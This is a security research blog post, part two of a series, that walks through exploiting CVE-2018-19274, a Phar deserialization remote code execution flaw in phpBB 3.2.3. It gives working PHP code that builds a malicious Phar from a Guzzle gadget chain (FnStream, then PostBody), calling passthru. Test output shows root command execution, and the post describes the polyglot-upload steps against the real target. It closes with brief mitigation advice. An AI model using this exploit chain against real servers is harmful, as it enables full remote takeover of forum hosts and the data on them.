Daniel Timofte
Security Research Engineer
Blog

Exploiting PHP Phar Deserialization Vulnerabilities - Part 2

June 25, 2019 by Daniel Timofte

Part 1 of this blog is here

Hands-on exploitation: phpBB 3.2.3 Remote Code Execution 

Identified by CVE-2018-19274 at NIST’s Vulnerability Database, this remote code execution (RCE) vulnerability was publicly disclosed by the researchers at RIPS Tech and impacts one the most popular open-source forum platforms. 

The disclosure write-up specifies two of the three requirements for exploiting the vulnerability: a way to upload a Phar/JPEG tin gpolyglot to a predictable location on the server and the entry point – setting the ImageMagick path, leaving us to find a gadget in the application’s source for crafting a Phar payload.

Finding an exploitable gadget by inspecting the source code

We quickly spin-up a vulnerable version of phpBB by deploying a docker container from the following docker-compose file.
version: '2'

services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
      - MARIADB_USER=bn_phpbb
      - MARIADB_DATABASE=bitnami_phpbb
  phpbb:
    image: 'bitnami/phpbb:3.2.3'
    depends_on:
      - mariadb
    environment:
      - PHPBB_DATABASE_USER=bn_phpbb
      - PHPBB_DATABASE_NAME=bitnami_phpbb
      - ALLOW_EMPTY_PASSWORD=yes

# Save it as docker-compose.yml
# credentials: user/bitnami

With the instance up and running, we are ready to delve into its source code and start looking for the magic methods __wakeup() or __destruct() and find a faulty class on which we could build our payload. It’s always a good idea to start with the third-party libraries folder, in our case located at /opt/bitnami/phpbb/vendor on the container.

/opt/bitnami/phpbb/vendor$ grep -rn . -e "__destruct"
./guzzlehttp/streams/src/Stream.php:122:    public function __destruct()
./guzzlehttp/streams/src/FnStream.php:46:    public function __destruct()
./guzzlehttp/ringphp/src/Client/CurlHandler.php:51:    public function __destruct()
./guzzlehttp/ringphp/src/Client/CurlMultiHandler.php:66:    public function __destruct()
./guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php:28:    public function __destruct()
./guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:33:    public function __destruct()
./lusitanian/oauth/src/OAuth/Common/Storage/Session.php:182:    public function __destruct()
[…]

Inspecting the Stream class doesn’t yield any exploitable results, which leads us further to examine the guzzlehttp/streams/src/FnStream.php file. This is were things get interesting. Let’s have a look at the following excerpt from the FnStream class definition:

1

It seems that, on object destruction, a dynamic call is initiated to a function specified via the _fn_close member. How convenient! This means we can manipulate the function name by a crafted serialized object, then embed it in a Phar file’s serialized metadata; this function will be invoked at a later time, when the Phar is deserialized.

Crafting a Phar payload

We proceed with writting a script that allows us to quickly test our payload.

# file /opt/bitnami/phpbb/vendor/test_phar.php
<?php

# load the guzzlehttp/streams/src/FnStream.php
require('autoload.php');

# perform filesystem function call on a phar wrapper
file_exists('phar://test.phar');
?>

Next up, we need a script for prototyping the Phar file. Instatiating the required classes (GuzzleHttp\Stream\FnStream) requires either including the original definitions or writing our own, including only the class members we’re interested in. In the following example we use the second method since it is portable and doesn’t require the guzzle library:

# file /opt/bitnami/phpbb/vendor/gen_phar.php
<?php
# Since the class is declared in the 'GuzzleHttp\Stream' namespace, our definition
# also must be declared within it
namespace GuzzleHttp\Stream {
  # Here, we also set the _fn_close property to a convenient value
  class FnStream { public $_fn_close = "phpinfo"; }

  $phar = new \Phar("test.phar");
  $phar->startBuffering();
  $phar->setStub("<?php __HALT_COMPILER();");

  # Setting the metadata serializes the payload object
  $payload = new FnStream();
  # Here’s where the object is serialized and added to the Phar
  $phar->setMetadata($payload);

  # Add a dummy file to respect the Phar specifications
  $phar->addFromString("test.txt", "test");
  $phar->stopBuffering();
}

Once the test.phar is created in the current directory, we run the test script to check our payload:

/opt/bitnami/phpbb/vendor# php gen_phar.php && php test_phar.php 
phpinfo()
PHP Version => 7.1.24

System => Linux 581ab59548ea 4.15.0-47-generic #50-Ubuntu SMP Wed Mar 13 10:44:52 UTC 2019 x86_64
Build Date => Nov  9 2018 09:23:46
Configure Command =>  '/bitnami/blacksmith-sandox/php-7.1.24/configure'  '—
[...]

We can see that the phpinfo() function is called upon the deserialization of our payload. So far, we managed to leak some server data using a function with no arguments. To call functions such as eval, exec, passthru and so on, we need to find a way to control both the function name and its parameters. This might be possible if we point the _fn_close to another objects’s function rather than setting it to an arbitrary function name.

We proceed by looking for call_user_func calls with two or more arguments set through class members.

/opt/bitnami/phpbb/vendor# grep -rn . -e 'call_user_func(\s*$this->.*\s*,\s*$this->.*\s*)' 
./guzzlehttp/guzzle/src/Post/PostBody.php:265:            call_user_func($this->getAggregator(), $this->fields),
./s9e/text-formatter/src/Parser.php:516:        \call_user_func($this->getPluginParser($pluginName), $this->text, $matches);
[...]

Note: we are not limited only to call_user_func. Other functions such as eval, system, passthru, shell_exec, file_put_contents, and fwrite can reward us with code/command execution as well.

Inspecting guzzlehttp/guzzle/src/Post/PostBody.php reveals that the dynamic call resides within createMultipart() function (member of the PostBody class), and its parameters are set through class members (getAggregator() being a getter function for the aggregator attribute). These properties makes the PostBody class a good candidate for the second link in our POP chain.

2

Since createMultipart() is a private member, we cannot dynamically invoke it using _fn_close(). Further inspection reveals that createMultipart() is called by getBody(), which is also a private member.

3

Luckily, getBody() is invoked by several public functions within PostBody class, allowing us to hit the desired code path via several subsequent calls.

4

The POP chain at this moment can be illustrated by the following diagram, where the green boxes represent attributes (controlled by the attacker) and the arrows indicate function calls:

5

Now that we have found a method to invoke arbitrary functions with arguments, we must adjust our code to reflect the new object chain and rebuild the malicious Phar file.

# file /opt/bitnami/phpbb/vendor/gen_phar.php
<?php

namespace GuzzleHttp\Stream {
  class FnStream { public $_fn_close; }
}

namespace GuzzleHttp\Post {
class PostBody {
    private $body       = False;
    private $files      = True;
    private $aggregator = "passthru";
    private $fields     = "id";
  }
}

namespace {
  $phar = new \Phar("test.phar");
  $phar->startBuffering();
  $phar->setStub("<?php __HALT_COMPILER();");

  # Setting the metadata serializes the payload chain
  $payload = new \GuzzleHttp\Stream\FnStream();
  $post_obj = new \GuzzleHttp\Post\PostBody();
  $payload->_fn_close = array($post_obj, '__toString');
  $phar->setMetadata($payload);

  # Add a dummy file to respect the Phar specifications
  $phar->addFromString("test.txt", "test");
  $phar->stopBuffering();
}

There are several details worth mentioning:

  • Since the two classes pertain to different namespaces, it is required to declare them accordingly
  • Class attributes must have the same access modifiers (private/public) as their original definitions
  • To reach the desired code path, some other attributes are set to convenient values (the body and files members, queried in the getBody function)
  • Dynamically calling an object’s public method via call_user_func requires passing an array with the object and its public function name (as a string)

Testing the new payload with our script returns the output of a well-earned code execution:

/opt/bitnami/phpbb/vendor# php gen_phar.php && php test_phar.php
uid=0(root) gid=0(root) groups=0(root)
PHP Fatal error:  Uncaught TypeError: Argument 1 passed to
[…]

At this point, we are ready to test our malicious PHAR on the real target, version 3.2.3 of PhpBB forum platform. Following the steps described in RIPS Tech’s article, we craft a Phar/JPEG polyglot, upload the image as an attachment, calculate the uploaded file’s location on the host system and set the ImageMagick path to a phar wrapper string:

6

7

Looking at the server response, we can see that our payload successfully executed; at this point, we have reached our purpose: full-blown remote-code execution.

Due to its complexity, this attack vector might be employed by advanced attackers and requires more effort to be detected. Some typical prevention approaches might include:

  • Sanitizing all user-supplied data
  • Allowing deserialization only when needed
  • Performing security audits for both in-house and third party source code
  • Employing SIEM solutions to detect runtime errors and anomalies
  • Monitoring the traffic for unusual patterns, such as polyglot files

Ixia’s BreakingPoint test solution for traffic generation provides also several attack scenarios based on PHAR deserialization technique, including the up-mentioned CVE.

Fellow researchers can contact me for further collaboration on Twitter or LinkedIn